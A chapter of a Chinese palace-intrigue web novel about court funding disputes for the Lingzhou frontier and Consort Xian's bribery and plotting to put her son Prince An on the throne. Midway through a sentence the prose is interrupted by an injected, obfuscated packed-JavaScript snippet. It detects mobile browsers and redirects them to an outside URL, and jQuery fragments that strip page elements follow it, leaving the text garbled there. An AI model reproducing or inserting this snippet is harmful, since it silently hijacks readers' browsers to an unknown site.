柳德一怔，面色微沉，“你为何要帮郭嘉？”
数日前，六百里军情加急，报霍州段运河有郓人拦路劫掠，被沿江追来的山南道节度使郭嘉斩杀。
这些年来，郓人多有侵扰，却仅限于灵州，此次北至运河，朝廷颇为震惊。
“我父亲是灵州长史，灵州与郓国相连。”
柳德神色稍缓，沉声道：“此事朝中已有定论。待郭嘉到京，朝廷会下拨军费，必保南段运河无阻。”
“可是朝廷定下的军费数额太少，请柳尚书多支一倍。”任知宜不以为然道。
柳德面色沉沉，“国库空虚，陛下又一直忌惮各道节度使，这个数额不能再增加。”
“山南道军费常年不足，军士多有懈怠，如何能与郓国相抗？”
“不过是威慑一下，又不是真地动刀动枪。”柳德斜睨着她，“只要他们不再进渝江，朝廷也不愿兴起战事。”
任知宜闻言，一颗心沉到谷底。
“这是我的第二个要求，若柳尚书不答应，咱们的约定就此作罢。”她的声音陡然拔高，透着决绝之意。
柳德微怒，“你威胁老夫？”
整个宅院安静空旷，不闻虫鸣鸟叫，两相对峙的气息在静谧的空气中涌动。
侍从进来，打破了暗潮汹涌的宁静。
“老爷，刚才一队北衙卫从咱们门前走过。”
柳德神色微沉，“可有异样？”
“不是冲着你我来的。”任知宜轻声道：“近来京城附近有贼匪活跃，听说在江湖上还颇有些名气，所以北衙卫夜里增加了巡逻守卫。”
“跟着他们，确保无异状之后再回来。”
侍从领命离开。
柳德神色略缓，觑着任知宜默了半晌。
“罢了！老夫会尽力促成此事。”
任知宜绷紧的面容一松，长长地舒了口气。“柳尚书若能促成此事，知宜感激不尽。”
柳德面色稍霁，“姑娘何必如此？”
“我父亲不日会升任灵州刺史，十数年来，朝廷对灵州不闻不问，百姓饱受郓人欺凌，这个灵州父母官，实在难做。”
柳德轻嗤，“姑娘在京城筹谋日久，如今亦可于六部行走，早就该为令尊作下打算。灵州这种鬼地方，还是要离得越远越好。”
闻言，任知宜怔在原地。
柳德笑道：“姑娘与老夫合作，百利而无一害。待令尊灵州刺史之位满一年，凭老夫一句话，便可调他迁去江南道任刺史。江南太平富庶，风景秀丽，姑娘也无须再挂心令尊。”
她父亲可以调迁，那灵州七十三万百姓呢？郓人来了，他们能躲到哪里去？
想起她幼年时遭遇郓人的恐惧，想起兰芝姨母的眼泪。
这句话在她唇齿间滚了又滚，复又咽了回去。
一腔荒凉之感，溢满胸臆。
她垂首敛眸，掩下眼底情绪。
————
兰璋宫
“姐姐这里真是雅静。”庆嫔捏着绢帕轻笑，颦眉若画，明眸婉转多情。
“妹妹喜欢，日后常来。”贤妃姿态雍容地剪掉兰花枝上的杂叶，回以浅笑。
因着贤妃爱兰，这几日宫内府接连送来十几盆兰花，品相各有不同。其中，尤以直剑墨兰的品种最为罕见，色呈紫褐，萼长如剑，是墨兰之中的圣品。
庆嫔摇着团扇，莲步款款走过这株墨兰，轻笑道：“此花香气幽深，着实特别，陛下对姐姐真是恩宠啊。”
贤妃含着嗔笑，故意睨了她一眼，“若说恩宠，谁能越得过你？”
这么说，并非客套。
皇帝不是重色之人，多年来后宫嫔妃不多，仅对皇后称得上感情深厚；但是自从庆嫔入宫之后，后宫便有了宠妃之说。
庆嫔出身不高，却生得冰肌玉骨，艳华丽秾，一颦一笑皆具风情，甚得皇帝的喜爱。最小的五皇子即是庆嫔所生，刚满三岁。
娘家位卑，亲子年幼。
庆嫔虽然心思不深，却也不是蠢人。
皇后娘娘一向视她为眼中钉，眼下靠着陛下的恩宠尚且无事，日后该如何是好？
不得不早作打算。
眼见安王日渐得势，贤妃主动示好，她哪有不顺势而为的道理。
庆嫔眼波流转，“听说姐姐的家人昨日递了帖子，要进宫看望姐姐。”
“嗯，是外祖家的两位表妹，一位是硕恩伯夫人，一位是吏部侍郎的夫人。我久居后宫，也是多年未见过她们了。”
庆嫔幽幽叹道：“真羡慕姐姐啊！外祖是郑州柳家，百年的世家豪族，家中姐妹也嫁到京城权贵之家，还能见上一面。妹妹我一入宫门深似海，像是隔了千山万水般。”
“妹妹想见亲人有何难，求陛下陪你省亲即可。”贤妃不以为意道。
庆嫔杏眸一亮。
贤妃淡淡笑道：“省亲一说，并非本朝专擅，妹妹的家乡临州离京畿也不远，不如向陛下讨个恩典。”
被说得动了心，庆嫔手里绞着帕子，心跳得七上八下。
“妹妹寻个合适的时机，向陛下提请，我再从旁帮说，陛下定然会考虑。”
贤妃又道：“自古嫔妃省亲非盛世不为，对于妹妹的母家来说，这是无上的荣耀；对于朝廷来说，也是彰显皇家威仪的机会，陛下未必不会答应。”
庆嫔迟疑道：“如今财库空虚，省亲一事会不会被御史台弹劾？”
贤妃放下手中花浇，凝神想了想。
“省亲的一应车马、行宿和人手的花费，确实不是一笔小开支。”
庆嫔失望。
“不过……”，贤妃顿了一下，笑得意味深长，“倒也不是完全没有办法。”
她朝外面招招手。
几个宫人小碎步进来，顷刻之间将地上的杂叶清扫得干干净净。
贤妃瞅着修剪好的兰花，叹声道：“这株的品相终归是差了些，怎么剪都剪不出直剑墨兰的神韵。”
如此品相，竟还入不得眼。
庆嫔暗暗心惊，都说柳州郑氏富甲天下，可见传言不虚。
贤妃轻声道：“若省亲费用由柳州郑氏以进献朝廷的名义承担，不走财库，满朝文武便说不出一个不字。”
“这怎么行？”，庆嫔大惊坐起，“我与郑家非亲非故，这如何使得？”
贤妃笑得风轻云淡，“郑家在临州亦有一宗族旁支。陛下到临州之后，为郑家提匾，郑家感皇恩浩荡，向朝廷进献少许金帛，有何不可？”
庆嫔心头狂跳。
“妹妹也知道，郑家经营江南盐业已有七年，今年韩家非要跳出来与郑家相争，郑家岂能罢休？
贤妃的意思说得很明白，郑家出钱帮她省亲，她替郑家在陛下面前争取。
庆嫔手中捏着绢帕，纠结不言。
接着，贤妃又拉着庆嫔的手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127526|180125||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，走到书案前，从书卷最里面抽出一份簿册递给她。
簿册上记着临州的千亩良田，八家商铺，和一个庄子。
庆嫔目露惊讶。
贤妃缓缓笑道：“区区薄礼，还请妹妹不要推却。”
庆嫔手指微颤，像被薄薄的册子烫了一下，慌忙搁在案上。
贤妃重新将薄册放于她手中，“后宫不得干政，姐姐都明白。妹妹不用特意提起郑家，只须顺着自己的心意向陛下提出省亲一事，后面的事自然不用妹妹再操心。”
这一次，庆嫔没有再松手。
——
待庆嫔走后，从内室帘后走出一人。
年及弱冠，相貌端正，五官与贤妃有几分相似。
膳房将刚刚做好的杏仁燕窝羹呈上来。
安王卫瑾接过盅碗，让宫人退下。
他轻轻吹掉汤上的热气，又试了盅羹的温度，不热不凉刚刚好，这才恭敬地递上去。
“母妃。”
“下次进宫，记得先去你父皇那里请安，如今你事父至孝的名声在外，不要被人落下话柄。”
安王神态拘谨，恭敬道：“是，母妃。”
“有时间多与五皇子亲近亲近。”
“是，母妃。”
贤妃放下手中汤匙，眉心微蹙，“你的政事学得如何？”
安王思忖半晌，缓缓道：“兵部的事情了解得差不多了。”
盅碗突然被人重重一放，底托撞在榻几上，发出清脆的声响。
“哼！兵部！”贤妃冷嘲，“兵部有什么要紧政事？如今天下大定，陛下若是真心历练你，又怎么会让你去兵部？”
“母妃，父皇命我钦使两靖，也是一种历练。”
贤妃冷笑一声，“我看你是揣着明白装糊涂。”
安王抿了抿唇，抬头道：“母妃，非要与皇兄一争到底吗？”
“不错！”
贤妃蓦地站起身来，“你想想当年！太子失踪，你是储君的不二人选，陛下延请名师大儒教你经史子集。你日夜苦读，学习治国方略，朝堂内外无不当你是储君般敬待。”
“可是后来呢……”，贤妃冷声长笑，“太子一回来，陛下便再也没有来过兰璋宫，那年冬天内府的人连炭火都忘了给咱们送。”
“母妃！”安王不忍地唤了一声。
“在我面前，你不用如此。”贤妃眸光闪烁，“你扪心自问，难道真得一点儿都没有将太子取而代之的心思？”
安王心中一紧，慌忙低下头去。
“母妃知道，你也是不甘心的。”贤妃幽幽笑道：“你自小性子温吞，做事犹疑，母妃便推你一把。”
贤妃见他兀自纠结，又下了一剂猛药，“想想当年你做的事，若被你父皇和太子知道，他们可会原谅你？”
安王身躯一震，面色青白。
他失魂落魄了半晌，“我当时是一时糊涂。”
“是啊！一时糊涂！”贤妃轻声笑道：“所以你明知太子未身死，却还是选择将消息隐瞒下来。”
“瑾儿！你也想当太子！”贤妃笑得残忍，“只是你不肯承认罢了！”
安王掌心紧握，微微发颤。
“瑾儿，太子查科举舞弊，就是要拿世家开刀，要剑指咱们母子俩。他不给我们活路，我们也绝不能坐以待毙。”
眸间阴云几度翻滚，安王垂首，沉声道：“是，母妃。”